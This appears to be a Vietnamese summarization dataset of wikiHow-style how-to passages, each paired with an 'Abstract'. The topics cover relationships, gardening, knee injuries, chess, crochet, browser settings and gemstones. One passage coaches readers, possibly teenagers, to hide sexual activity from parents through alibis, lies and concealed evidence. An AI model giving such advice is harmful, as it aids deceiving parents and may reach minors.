hoạt động hằng ngày. Khiến bản thân tập trung vào việc làm hoặc việc học là một cách hiệu quả để tránh không nghĩ đến vấn đề mà bạn đang gặp phải. Trong lúc rảnh rỗi, hãy giành thời gian để làm những việc bạn thích, cho dù đó là câu cá, làm bánh, đá bóng, làm đồ gỗ, viết thơ, bơi lội, đan len hay viết mã lập trình! Mặc dù bạn có thể cảm thấy rất tệ khi phải giữ khoảng cách với người quan trọng của đời mình, nhưng có lẽ họ không phải là người duy nhất mà bạn muốn dành thời gian ở bên cạnh. Hãy liên lạc với những người bạn, người thân khác và rủ họ đi chơi. Bạn cần dành thời gian để xây dựng các mối quan hệ khác và cùng nhau tạo ra những khoảnh khắc ý nghĩa. Đảm bảo đáp ứng nhu cầu cảm xúc của bạn là một việc rất quan trọng, đặc biệt khi bạn gặp khó khăn với một mối quan hệ quan trọng. Nếu người đó đã từng làm mặt lạnh với bạn và bạn tập trung toàn bộ sự chú ý để khiến họ trò chuyện với mình, có lẽ họ đang cố gắng khiến bạn làm điều tương tự. Đây là một lý do khác lý giải vì sao việc tránh trở nên đeo bám hoặc cầu xin sự chú ý của họ là rất quan trọng - có lẽ họ phớt lờ bạn chỉ để khiến bạn phải phản ứng. Việc phản ứng theo cách này cho họ biết rằng việc phớt lờ bạn sẽ giúp họ có những gì họ muốn, dù đây không phải là cách lành mạnh nhất để giải quyết vấn đề.

Abstract: Thử tìm hiểu nguyên nhân khiến họ phớt lờ bạn. Chờ họ bình tĩnh. Khiến bản thân bị phân tâm bằng việc làm, việc học hoặc sở thích. Dành thời gian cho người mà bạn quan tâm. Xem lại cách trước đây bạn đã phản ứng với hành vi phớt lờ.


Điều này sẽ giúp nén chặt đất xung quanh cây lựu mới trồng. Sau đó tưới mỗi ngày cho đến khi cây bắt đầu ra những chiếc lá đầu tiên. Sự xuất hiện của lá báo hiệu là cây đã bắt đầu bén rễ và thích nghi với "nhà" mới của nó. Dần dần chuyển sang chế độ cách 7-10 ngày tưới một lần. Khi cây đơm hoa hoặc cho quả, mỗi tuần tưới đẫm nước một lần.Tuy nhiên, bạn không cần phải tưới nhiều như vậy nếu trời mưa. Cây lựu thích hợp với phân bón ammonium sulfate. Trong năm đầu tiên, bón phân 3 lần, mỗi lần khoảng 1/3 cốc (tháng hai, tháng năm và tháng chín là thời gian lý tưởng để bón phân). Bạn không nên để cỏ dại và các loài cây khác cạnh tranh với cây lựu; có lẽ bạn cũng khó làm cỏ xung quanh cây khi cây lựu còn thấp và mọc như cây bụi. Nhổ cỏ hoặc phủ một lớp phủ hữu cơ lên mặt đất xung quanh cây. Lớp phủ sẽ chống cỏ và cây dại, đồng thời giữ độ ẩm cho cây.

Abstract: Tưới cây ngay sau khi trồng. Bón phân khi cây đã bén rễ. Nhổ cỏ dại xung quanh cây lựu.


Hãy đến gặp bác sĩ ngay nếu thấy tình trạng sưng phồng nghiêm trọng hoặc bạn không thể chịu được áp lực lên đầu gối. Bạn cũng nên đến gặp bác sĩ trong trường hợp thấy đầu gối biến dạng rõ ràng hoặc sốt và đỏ tấy, điều này có thể là dấu hiệu của nhiễm trùng. Ngoài ra, hãy đến bác sĩ khi bạn không thấy có bất kỳ tiến triển nào sau khoảng 4 ngày. Dây chằng có thể đã bị chấn thương. Bác sĩ sẽ đánh giá tình trạng để kết luận điều gì làm đầu gối bạn bị sưng phồng. Bác sĩ có thể tiến hành cuộc xét nghiệm thông qua hình ảnh như chụp X-quang, siêu âm hoặc chụp cộng hưởng từ (MRI - Magnetic Resonance Imaging). Xét nghiệm này giúp phát hiện các chấn thương trong xương, gân và dây chằng. Bác sĩ có thể tiến hành với xét nghiệm khác, đó là lấy dịch từ khớp đầu gối để kiểm tra xem có bị nhiễm trùng không dựa trên số lượng bạch cầu và vi khuẩn trong dịch. Bác sĩ cũng có thể tiêm xtê-rô-ít vào đầu gối bạn để giảm sưng. Tùy thuộc vào nguyên nhân gây sưng phồng đầu gối, bác sĩ sẽ đề nghị bạn nên phẫu thuật. Một vài loại hình phẫu thuật đầu gối phổ biến gồm: Thủ thuật chọc khớp: loại bỏ dịch khỏi đầu gối để giảm áp lực cho khớp xương. Nội soi khớp: loại bỏ mô bị hủy hoại hoặc lỏng lẻo ra khỏi đầu gối. Thay khớp: Bạn có thể phải thay khớp nếu đầu gối thực sự không có bất kỳ tiến triển nào và cơn đau nhức là không thể chịu nổi. Bác sĩ sẽ tiến hành liệu pháp vật lý, kiểm tra chân của bạn, và cũng đưa ra bài tập cụ thể dựa trên tình trạng hiện tại của bạn, để làm cơ bắp quanh khớp xương chắc chắn hơn. Vấn đề về chân như chứng bàn chân bẹt và các tình trạng sức khỏe khác có thể góp phần làm đau và phồng chân. Đến gặp và nhờ bác sĩ chỉnh hình chuẩn đoán bàn chân cho bạn. Bác sĩ có thể đề nghị bạn mang dụng cụ chỉnh hình vào trong giày của bạn. Bác sĩ chỉnh hình cũng có thể chuẩn đoán lưng và hông. Đau nhức từ lưng, hông, hoặc bàn chân được cho là cơn đau có liên quan.

Abstract: Đặt lịch khám. Yêu cầu phẫu thuật. Gặp bác sĩ vật lý trị liệu. Đến gặp bác sĩ chỉnh hình.


Dù một người bạn hay người yêu chấm dứt mối quan hệ với bạn, thật khó để vượt qua cảm giác bị phớt lờ. Bạn có quyền buồn bã, vì thế đừng cố che giấu nỗi buồn. Hãy để bản thân khóc, nghe nhạc buồn, hoặc dành một ngày đắm mình trên ghế sofa. Cho dù bạn chỉ hẹn hò 1 lần, cũng bình thường khi cảm thấy buồn. Việc bị từ chối là khó khăn trong bất kỳ tình huống nào, và kiềm nén cảm xúc sẽ không tốt cho bạn. Hầu hết các mối quan hệ yêu đương kết thúc ở thời điểm nào đó, và đôi khi chỉ là do hai người không hợp nhau. Thay vì nghĩ rằng, "Mình có gì đó không ổn", hãy nhắc bản thân nhớ rằng, đôi khi chỉ là do người ta không hợp nhau. Đừng đổ lỗi cho chính mình chỉ vì mối quan hệ với ai đó không tốt đẹp. Tập trung vào sự thật rằng bạn đã "thoát hiểm trong gang tấc". Sẽ tốt hơn khi bạn bị phớt lờ sau 1 hoặc 2 buổi hẹn hò thay vì phí vài tuần hoặc vài tháng cho ai đó không phù hợp. Nếu một người bạn hoặc người yêu lâu năm bắt đầu cố tình làm ngơ với bạn chẳng vì lý do gì cả, có lẽ việc họ biến mất khỏi cuộc đời bạn là một chuyện tốt. Trò chuyện với một người thân đáng tin cậy sẽ giúp bạn giải tỏa và kiểm soát những cảm xúc. Một người bạn thân hoặc người quen có thể động viên bạn, và dành thời gian bên họ sẽ giúp bạn quên đi rắc rối. Hãy gọi cho một người thân và nói, "Đột nhiên, Dũng không trả lời các cuộc gọi hay tin nhắn của em. Em nghĩ mọi việc đều ổn, nhưng mà rõ ràng là em bị phớt lờ rồi. Chúng ta gặp nhau uống cà phê nhé? Em hơi buồn và cần một người bạn ngay lúc này". Ăn uống dinh dưỡng, ngủ đủ giấc, và tập thể dục sẽ giúp bạn vượt qua cảm giác buồn bã. Bên cạnh đó, hãy dành thời gian để thực hiện các hoạt động mà bạn yêu thích để tăng cường sự tự tin. Không bỏ bữa ăn hoặc ăn quá nhiều đồ ngọt. Hãy ăn những thực phẩm dinh dưỡng, chẳng hạn như trái cây và rau quả, protein tốt cho sức khỏe (thịt gà hoặc cá), ngũ cốc nguyên hạt, và các sản phẩm bơ sữa ít béo. Cố gắng hết sức để ngủ 7-9 giờ mỗi đêm. Tập thể dục ít nhất 30 phút mỗi ngày. Bài tập ngoài trời sẽ đặc biệt có ích, vì thế hãy đi bộ nhanh, chạy bộ, hoặc đạp xe. Đừng để trải nghiệm này ảnh hưởng tới việc thiết lập các mối quan hệ trong tương lai. Chuyện hẹn hò dường như khiến bạn lo lắng, và bạn sợ lại bị phớt lờ. Hãy hít thở sâu, đối mặt với nỗi sợ, và chấp nhận khả năng bị tổn thương. Thử tham gia một lớp học hoặc câu lạc bộ dựa trên một trong những sở thích của bạn. Bạn có thể gia nhập câu lạc bộ làm vườn, đăng ký hội thể thao tự do, hoặc tham gia lớp học nấu ăn. Nhắc nhở bản thân rằng cuộc sống có nhiều niềm vui và nỗi buồn. Bạn sẽ đối mặt với những khó khăn trong tương lai, tuy nhiên việc từ chối ra ngoài giao tiếp không phải là cách để tồn tại.

Abstract: Cho bản thân quyền đau buồn. Cố gắng không xem đó là lỗi của bạn. Giãi bày tâm sự với một người bạn hoặc thành viên gia đình. Duy trì sức khỏe thể chất và tinh thần của bạn. Hẹn hò và gặp gỡ những người mới.


Bạn có thể dễ dàng tìm thấy những trận đấu này tại các trang trực tuyến như chessgames.com. Bạn nên ghi nhớ 10 nước đi đầu tiên của bên đen và bên trắng để có được cảm nhận về cách các kiện tướng cờ vua thực thụ bắt đầu ván cờ của mình. Việc ghi nhớ không những giúp bạn nhận thức được về phương pháp thành công mà còn về cách thức để thực sự vượt trội. Ngoài ra, bạn cũng sẽ trở nên kỷ luật hơn, bởi bạn vừa phải rèn luyện đầu óc để tiếp thu, vừa phải hiểu rõ lý do ẩn sau những nước cờ tuyệt vời đó. Bạn có thể sử dụng các trang như Chesstempo, Chessity, hoặc Puzzle Books. Malcom Gladwell từng đưa ra giả thuyết rằng: khi đầu tư 10.000 tiếng vào bất kỳ lĩnh vực nào, bạn sẽ trở thành chuyên gia trong lĩnh vực đó. Hãy thử tưởng tượng bạn sẽ trở nên chuyên nghiệp ra sao sau khi giải 10.000 câu đố về cờ vua! Dĩ nhiên, bạn cần nhiều thời gian để hoàn thành mục tiêu này, nhưng chỉ cần đặt mục tiêu mỗi ngày giải ít nhất một câu, bạn sẽ đạt được những bước tiến lớn. Bạn cũng có thể đặt một mục tiêu thực tế hơn, ví dụ như 1.000 câu đố, sau đó xem xét liệu mình có thể làm gì tiếp theo. Bạn có thể sử dụng các phần mềm giải vô địch cờ vua hoặc các phần mềm khác hướng tới người chơi cờ. Mặc dù bạn cần tập trung toàn diện để trở thành kiện tướng cờ vua, việc sở hữu phần mềm cờ vua trong điện thoại sẽ hỗ trợ quá trình rèn luyện của bạn, đặc biệt khi bạn bất chợt có thời gian rảnh. Đăng ký tham gia nhiều giải đấu nhất có thể, giữ tần suất mỗi tuần một lần, dù bạn có mệt mỏi hoặc uể oải ra sao. Giải đấu khu vực chính là cách thức để bạn có cơ hội luyện tập với các kỳ thủ thực thụ và cải thiện kỹ năng cũng như chiến thuật của mình. Việc thuê huấn luyện viên cờ vua sẽ tốn kha khá tiền của bạn, nhưng huấn luyện viên chắc chắn có thể giúp bạn cải thiện trình độ và củng cố tư duy sáng tạo. Bạn cũng có thể tìm được một phần mềm máy tính giúp mình đánh giá các nước cờ, từ đó nhìn nhận bước đi nào sai hay đúng. Nhận ra điểm yếu và điểm mạnh của bản thân là cách tốt nhất để bạn thành công trong cờ vua. Bạn có còn nhớ phần trên đề cập đến việc trở thành một chuyên gia thực thụ trong bất kỳ lĩnh vực nào nếu bạn đầu tư 10.000 giờ không? Mặc dù việc luyện tập như trên sẽ đem tới hiệu quả, cuối cùng, điều quan trọng nhất là bạn phải chơi cờ nhiều nhất có thể. Nếu bạn thực sự quyết tâm trở thành kỳ thủ giỏi, đây là con đường mà bạn cần theo đuổi. Một trong những cách tốt nhất để trở nên giỏi hơn trong bất kỳ lĩnh vực gì chính là trao đổi với những người hiểu biết và xuất sắc trong lĩnh vực đó. Kỳ thủ giỏi có thể là một người trong gia đình, một đại kiện tướng, hay thậm chí là một kỳ thủ đã đánh bại bạn.

Abstract: Thuộc lòng 12 nước đi đầu tiên của 20 trận cờ Đại kiện tướng hàng đầu. Giải 10.000 câu đố về cờ vua trên trang trực tuyến mà bạn yêu thích. Cài đặt phần mềm cờ vua trên điện thoại. Tham gia các giải đấu trong khu vực. Đánh giá trận đấu của mình bằng phần mềm máy tính (chess engine) hoặc qua nhận xét của một huấn luyện viên. Chơi ít nhất 10.000 ván cờ. Trò chuyện với một kỳ thủ giỏi.


Thông thường, bạn sẽ đưa mũi đan vào lỗ gần móc nhất, hoặc, nếu bạn bắt đầu bằng chuỗi đan cơ bản thì sẽ sử dụng móc kép ở mũi đan thứ hai. Hãy nhìn vào mẫu để đan chính xác. Giờ bạn sẽ có hai (2) vòng đan trên móc.

Abstract: Lồng móc vào mũi đan bạn muốn. Kéo sợi len đi qua mũi đan. Giờ bạn đã đan xong một (1) móc kép kiểu Anh; bạn sẽ thấy còn lại một (1) vòng đan trên móc.


Đây phải là trình duyệt mà bạn muốn tắt tiện ích AdBlock Plus trên một trang web cụ thể. Ví dụ, nếu muốn tắt AdBlock Plus trên trang Wikipedia, bạn sẽ vào www.wikipedia.com. Hầu hết các trình duyệt đều có một phần hiển thị biểu tượng của các tiện ích mà bạn đã cài đặt. Bạn có thể thực hiện như sau:  Chrome - Nhấp vào ⋮ phía trên góc phải cửa sổ để làm hiển thị một trình đơn. Biểu tượng AdBlock Plus ở phía trên trình đơn vừa hiển thị. Firefox - Bạn sẽ thấy biểu tượng AdBlock Plus ở phía trên góc phải của trang Firefox. Edge - Nếu AdBlock Plus không hiển thị ở phía trên góc phải của trang, bạn sẽ nhấp vào ⋯, chọn Extensions (Tiện ích mở rộng), nhấp vào AdBlock Plus và chọn "Show button next to address bar" (Đặt biểu tượng bên cạnh thanh địa chỉ) để làm hiển thị biểu tượng. Safari - Biểu tượng AdBlock Plus sẽ ở bên trái thanh địa chỉ hiển thị phía trên góc trái trang Safari. Đó là biểu tượng bảng cấm màu đỏ có ghi "ABP". Bạn sẽ thấy xuất hiện một trình đơn sau khi nhấp vào biểu tượng. Đừng nhấp phải vào biểu tượng Adblock Plus. Thao tác này sẽ ngay lập tức tắt Adblock Plus trên website mà bạn muốn. Nếu muốn bật lại Adblock Plus trên trang này, bạn chỉ cần nhấp vào biểu tượng Adblock Plus một lần nữa và sau đó nhấp Disabled on this site (Tắt trên trang này) ở phía trên trình đơn.

Abstract: Mở trình duyệt. Vào trang web mà bạn muốn tắt Adblock Plus. Mở phần "Extensions" (Tiện ích mở rộng) của trình duyệt. Nhấp vào biểu tượng "AdBlock Plus". Nhấp vào Enabled on this site (Bật trên trang này) ở phía trên trình đơn.


Một số đá Sapphire tự nhiên có chất lượng thấp đến nỗi không thể bán được. Những người bán hàng thường che giấu điều này bằng cách dùng thủy tinh chì lấp vào nhằm cải thiện chất lượng viên đá. Nếu bạn thấy những đường cắt chéo bên trong đá thì rất có thể đây là Sapphire thật nhưng chất lượng kém. Nếu bạn đang cân nhắc việc mua Sapphire từ người bán đá quý thì đừng quên hỏi về nguồn gốc sản phẩm. Nhằm bảo vệ quyền lợi người tiêu dùng và tăng tính minh bạch, người bán phải công khai thông tin về sản phẩm đá quý mà họ bán. Đừng ngại về việc bạn sẽ tỏ ra khắt khe hay thiếu hiểu biết khi hỏi. Đây là tiền của bạn nên bạn có quyền biết về loại sản phẩm mà mình đang mua. Có rất nhiều phương pháp được áp dụng nhằm cải thiện màu sắc và độ trong của Sapphire. Tuy rằng điều này giúp viên đá trông đẹp hơn, nhưng tính chất tự nhiên sẽ không còn nhiều. Biện pháp xử lý không kéo dài vĩnh viễn, vì thế bạn nên hỏi xem viên đá đã được xử lý theo phương pháp gì và bao lâu sẽ mất đi. Sau khi những phương pháp xử lý mất đi thì viên đá sẽ trở lại vẻ ngoài vốn có.

Abstract: Quan sát những đường giao nhau bên trong viên Sapphire. Hỏi người bán rằng đây có phải là đá thiên nhiên hay không. Hỏi người bán xem Sapphire này là tự nhiên hay đã qua xử lý.


Cả hai bạn đều đã sẵn sàng để quan hệ tình dục và chấp nhận hậu quả. Đảm bảo cả hai đều có mong muốn giống nhau. Ban đầu việc này hơi ngại nói ra nhưng bạn phải bàn bạc để sắp xếp cách tốt nhất nhằm tránh bị phát hiện. Nếu muốn bố mẹ không biết, bạn phải trao đổi kỹ với bạn tình. Tìm một nơi kín đáo để bàn bạc. Nếu bố mẹ thường đọc tin nhắn của bạn thì không nên thảo luận về kế hoạch qua tin nhắn. Nếu đi học cùng trường thì hai bạn có thể nói chuyện ở đó. Cân nhắc thỏa thuận về một "mật mã" để ám chỉ những việc liên quan đến tình dục sao cho các bạn có thể lên kế hoạch công khai hơn. Nói dối với bố mẹ dường như dễ hơn nói thật, nhưng muốn nói dối thành công thì bạn cần có suy nghĩ nhạy bén và sức mạnh tinh thần. Muốn lẩn tránh tốt, bạn cần phải có kế hoạch, bằng chứng ngoại phạm, mật mã và ngụy trang. Một số người có khả năng nghĩ ra điều này tốt hơn những người khác. Không có chỗ cho sự sai sót nếu bạn muốn nói dối bố mẹ. Nếu không thì bạn có thể nói cho họ biết mọi việc ngay bây giờ! Làm điều này ngay cả khi bạn nghĩ rằng không cần dùng đến. Khi bố mẹ rời nhà đi ăn tối và xem phim, hãy nói với họ rằng bạn định làm bài tập về nhà và xem tivi vào buổi tối. Nếu bạn dự định đi chơi với nhóm bạn mà bố mẹ không ủng hộ, hãy nghĩ ra một hoạt động hữu ích hơn mà bạn cho rằng có thể làm vào tối đó: ví dụ như học nhóm hoặc ngủ lại nhà bạn thân. Sử dụng trí tưởng tượng nhưng luôn sẵn sàng minh chứng cho những lời nói mình đưa ra. Cẩn thận với lời nói. Bố mẹ bạn có thể biết nhiều hơn bạn nghĩ, và bạn không nên cho họ lý do để nghi ngờ. Nên biết bố mẹ bạn thường nói chuyện với các bậc phụ huynh khác. Vì vậy bạn phải chắc chắn là câu chuyện của mình khớp với câu chuyện của những người xung quanh. Nếu bạn nói rằng sẽ ngủ lại nhà một người bạn thì phải đảm bảo là A) bố mẹ bạn sẽ không hỏi bố mẹ người bạn đó về việc này, hoặc B) bố mẹ người bạn đó sẽ nói dối cho bạn. Bí mật được giữ tốt nhất dựa trên cơ sở cần biết mới nói, nghĩa là chỉ nói với những ai cần biết. Điều đó cũng đồng nghĩa bạn phải che giấu vết tích để tránh bị phát hiện. Không để lộ nhật ký, quà do bạn tình tặng, bao cao su, hay bất kì bằng chứng nào. Bạn không thể mong đợi việc này chỉ diễn ra yên lặng bên dưới lớp chăn nếu hai người quá vụng về. Giải thích với bạn tình vì sao phải giữ im lặng. Sau khi đã luyện tập thành thạo, bạn thậm chí có thể quan hệ khi nhà đầy người mà không ai biết. Thủ dâm cho nhau, quan hệ bằng miệng và các hành vi tính dục không giao hợp thường dễ che giấu hơn. Bạn sẽ phát hiện nhiều cơ hội bất ngờ để cùng nhau thỏa mãn nhanh gọn tuy không thể cùng nhau đi tới z.

Abstract: Nói chuyện với bạn tình. Chuẩn bị về mặt tinh thần. Thỏa thuận về một chứng cứ ngoại phạm cho mỗi lần gặp nhau. Giữ bí mật. Hạn chế tiếng ồn. Cân nhắc các hoạt động tình dục không giao hợp.


Khi xóa đi thanh công cụ của bên thứ ba khỏi trình duyệt, bạn có thể tránh khỏi tình trạng ứng dụng bị đứng do chạy quá nhiều chương trình cùng lúc. Nếu Internet Explorer không chạy mượt trở lại ngay, hãy bỏ qua bước này và thiết lập lại Internet Explorer. Biểu tượng hình bánh răng ở phía trên bên phải cửa sổ Internet Explorer.  Nhấp vào một thanh công cụ mà bạn muốn xóa. Khi ấy, thanh công cụ đã chọn sẽ bị vô hiệu hóa. Bạn có thể lặp lại quá trình này với từng thanh công cụ mà bạn muốn xóa.

Abstract: Mở Internet Explorer. Nhấp vào {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/3\/30\/IE11settings.png","bigUrl":"https:\/\/www.wikihow.com\/images_en\/3\/30\/IE11settings.png","smallWidth":460,"smallHeight":460,"bigWidth":760,"bigHeight":760,"licensing":"<div class=\"mw-parser-output\"><\/div>"}. Nhấp vào Manage add-ons (Quản lý tiện ích mở rộng) ở gần giữa trình đơn thả xuống. Nhấp vào thẻ Toolbars and Extensions (Thanh công cụ và phần mở rộng) ở bên trái cửa sổ. Chọn thanh công cụ. Nhấp vào Disable (Vô hiệu hóa) ở góc dưới bên phải cửa sổ.